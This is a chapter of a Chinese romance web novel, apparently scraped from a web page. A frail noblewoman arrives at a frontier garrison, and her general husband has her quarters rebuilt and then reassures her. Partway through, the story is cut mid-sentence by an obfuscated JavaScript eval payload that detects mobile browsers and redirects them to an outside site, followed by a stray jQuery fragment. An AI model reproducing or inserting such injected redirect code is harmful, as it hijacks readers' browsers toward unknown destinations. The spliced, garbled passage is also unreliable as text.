姜荞歌不能一直躲在车里。既然是她自己要跟来的,既然谢凛已经把该给她的规矩都说清楚了,她便不能还没进营门,先叫人觉得自己只会藏在帘后。
谢凛没多问,只应了一声:“好。”
他伸手过来时,姜荞歌原本还想自己踩着小杌下去。毕竟周围这么多人都看着,她实在不想一到边营,便把“娇气”两个字坐实。谁知她脚才探出去,迎面一阵风便卷了过来。风里夹着砂土和冷意,扑得她眼睫都颤了一下,脚下也险些一滑。
谢凛眉头当场拧了起来。他一手扶住她手臂,另一手稳稳托住她背后,将她从车上带了下来。动作不算亲昵,却稳得很。
姜荞歌脚一落地,便立刻站直了些。风吹得她斗篷微微往后扬,她脸色本就白,被北地天光一映,更显得单薄。可她仍旧按着礼数,朝那几名骑兵轻轻福了一礼。
“劳诸位将军来迎。”
她这声音落在一群粗汉子里,简直轻得像片羽毛。
几个骑兵显然都没料到将军夫人竟真是这么个模样,站在他们这群满身风尘的糙汉子面前,简直像一枝被人小心护了一路的雪白花枝。一时这帮人连回礼都比平日笨拙许多,抱拳时胳膊都绷得比拿刀还僵。谢凛回头,看向那几名还呆在原地的旧部,神色恢复了惯常的冷硬:“都看够了没有?”
几人这才猛地回神,齐刷刷低头抱拳:“见过夫人!”
这一声出来,动静虽然比先前收着许多,却还是带着股北地汉子特有的洪亮。姜荞歌被震得睫毛都颤了颤,谢凛眉头又是一皱,直接道:“小点声。她这一路刚养好些,别叫你们震着了。”
那几人:“……”
姜荞歌:“……”
她站在谢凛身边,忽然有点想把脸埋进斗篷里去。
这几人瞧着一个比一个粗,一看便是在军中扯惯了嗓门说话的,结果谢凛一开口,竟像在训一群皮糙肉厚的大狗熊。偏偏被训的人还不敢反驳,只能一个个把嗓门硬生生压下来,为首那位大汉甚至还十分别扭地又补了一句:“夫、夫人一路辛苦。”
只是这一句压得太用力,听着反倒像有人在掐着脖子说话。姜荞歌没忍住,唇角轻轻弯了一下。
谢凛余光瞥见她笑,原本还沉着的脸色也不知不觉松了些。他侧头低声道:“裴虎,心直口快。你日后见多了便习惯了。”
这话虽压低了声音,却没避着人。裴虎在一旁听得脸都僵了,想解释两句,又不敢,只能硬着头皮露出个比哭还费劲的笑来。
这点小小的滑稽,倒叫姜荞歌心里那点紧张散了些。
队伍入城时,边军守卫见了谢凛,个个精神一振,齐齐行礼。那些目光在落到姜荞歌身上时,果然都带着显而易见的惊异。只是有了谢凛先前那番话,谁也不敢多看,更没人敢乱议论。
将军在边城的住处早已有人收拾妥当。
可谢凛进门后只看了一眼,脸色便沉了下去。屋子倒不算差,北地样样讲究实用,炕热,火盆也足。只是窗纸糊得不严,角落里还堆着些未收拾干净的旧箱笼,外间兵器架上甚至还大剌剌挂着一张没来得及撤下的硬弓。
姜荞歌还未来得及说“已经很好了”,谢凛已先冷声开口:“这就是你们收拾出来给夫人住的地方?”
跟着进门的裴虎顿时头皮一紧:“昨夜才得的信,属下们已经——”
“已经什么?”谢凛回头,眉眼间那股悍气一下子压了下来,“已经尽力了,就把硬弓挂到卧房里去?窗子漏成这样,是等着她夜里吹风再病一场?”
裴虎被他训得连头都不敢抬,旁边几个亲兵更是大气都不敢出。
姜荞歌站在门边,看着谢凛在屋里转了一圈,抬手便将那张硬弓取下来,递给身旁亲兵,又顺手把角落一只沉重木箱往旁边挪开。那动作干脆利落得像是在营里清障碍,半点都没把这些笨重物件放在眼里。
他一边动手,一边下令:“再去拿两层厚帘。炭盆多添一个,窗缝重新堵严。床上那层褥子换了,太硬。净水单独烧,药炉单独支,别拿军中那口大锅顺便熬。”
这几句话落下,满屋子人顿时动了起来。搬帘子的搬帘子,换褥子的换褥子,堵窗缝的堵窗缝,动作竟比方才迎将军入城时还要利索几分。
姜荞歌站在原处,心里却并没有生出太多被宠着的欢喜。
更多的是不安。
她知道谢凛这样做,是怕她病,也是在履行自己带她来的责任。可这里不是京中将军府,也不是姜家的暖阁。这里是边城,是军中诸事缠身的地方。她刚到,便让这么多人为了她一间屋子来回忙碌,难免叫人心里不踏实。
她忍不住轻声道:“将军,其实已经很好了,不必这样麻烦。”
谢凛正亲手试窗缝,闻言回头看她一眼。
“这不是麻烦。”他语气不容置疑,“是该做的安置。”
姜荞歌微微一怔。
谢凛又道:“我既答应带你来,便不能叫你住得不明不白。你身子弱,屋子若不收拾妥当,病的是你,耽误的是我。”
她没有再劝,只轻轻点了点头:“我知道了。”
晚间收拾停当时,屋里终于像了样子。
窗缝重新糊过,厚帘垂了下来,炭盆里的火也烧得稳。原本挂在外间的硬弓和兵器都被挪走,只留下一只结实的架子,方便搁药匣与行李。床褥也换了新的,虽不比京中柔软,却比先前那层硬得硌人的好多了。
裴虎等人被谢凛训得灰头土脸,退出去时一个个低眉顺眼,却又不敢露出半分不服。
走到门口,裴虎忍不住压着嗓子同旁边人嘀咕了一句:“将军在前头打仗都没这么细。”
那人也压低声:“废话,前头住的是兵,这里住的是夫人,能一样么?”
姜荞歌坐在内间,隐隐听见了这一句,指尖微微一顿。若
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775283|209990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
换作先前,她大约会因这话脸热。可此刻,她心里却只觉得更清楚了一些。
边城的人对她好奇,也会因谢凛的态度而不敢怠慢她。可这份客气暂时并不属于她自己,而是属于“将军夫人”这个身份。
她若想在这里真正站稳,光靠谢凛护着,是不够的。可眼下她才刚到边城,能做的第一件事,便是先守住分寸,不让谢凛因她被人议论。
谢凛进屋时,手里还端着一碗热汤。
他大约是在外头又巡视了一圈,肩上沾了点夜风与寒气,进门后却先将那碗热汤放到她手边:“先喝。”
姜荞歌抬头看他。他神色仍旧冷硬,眉眼间还带着未散的军务疲色。今日从入城到安置,许多事其实都压在他身上。她原本以为,他带自己来边城,不过是多了一桩要照看的麻烦;可如今看着他将那些规矩一条条落下,才明白他不是随口答应,也不是一时心软。
他是真的把“带她来”这件事,放进了自己的责任里。
姜荞歌端起热汤,轻轻喝了一口。汤里放了姜丝,入口有些辛,顺着喉咙落下去,很快便暖了胃。她捧着碗,过了好一会儿,才轻声道:“将军今日在他们面前那样护着我,会不会叫人觉得……你太纵着我了?”
谢凛闻言,看了她一眼。
谢凛在一旁坐下,解下佩刀放到手边:“人是我带来的,自然要护住。住处、炭火、药炉,这些本就是该安排的事。若连这点都做不好,才叫人看笑话。”
他说到这里,又看向她,眉眼依旧沉冷:“至于旁人怎么想,不必你替我操心。”
姜荞歌低下眼,轻轻道:“我不是想替将军操心,只是怕自己才刚来,便让他们觉得我事多。”
谢凛沉默片刻。他看着她捧着汤碗的手。那双手仍旧细白,指尖被热汤熏出一点浅浅的红。她坐在这间刚收拾好的屋子里,肩背挺得很直,像是努力让自己看起来不那么娇弱。
可她分明已经很累了。从京城到边城,一路车马、惊险、雷夜、旧道、风寒,她撑到现在,脸色仍旧不大好。偏偏到了这时候,担心的不是自己住得冷不冷,而是怕旁人觉得她事多,怕他被议论。
谢凛心里忽然有些发闷。
“姜荞歌。”他开口。
她抬眼看他。
谢凛道:“我带你来,不是让你讨他们喜欢。”
姜荞歌怔住,谢凛语气还是冷硬的:“他们觉得你好也好,觉得你娇气也好,不要紧。你不必一来就想着怎么让所有人都满意。”
姜荞歌捧着汤碗,指尖微微收紧,这话落进她心里,像轻轻碰到了什么。
她从前在姜家,所有人都疼她,所有人也都小心翼翼地看着她。她怕自己病得太频繁叫父母忧心,也怕自己嫁到谢家后给谢凛添麻烦。一路北上,她一直想证明自己不是累赘,不是不知分寸的人。
可谢凛此刻却说,她不必讨所有人喜欢。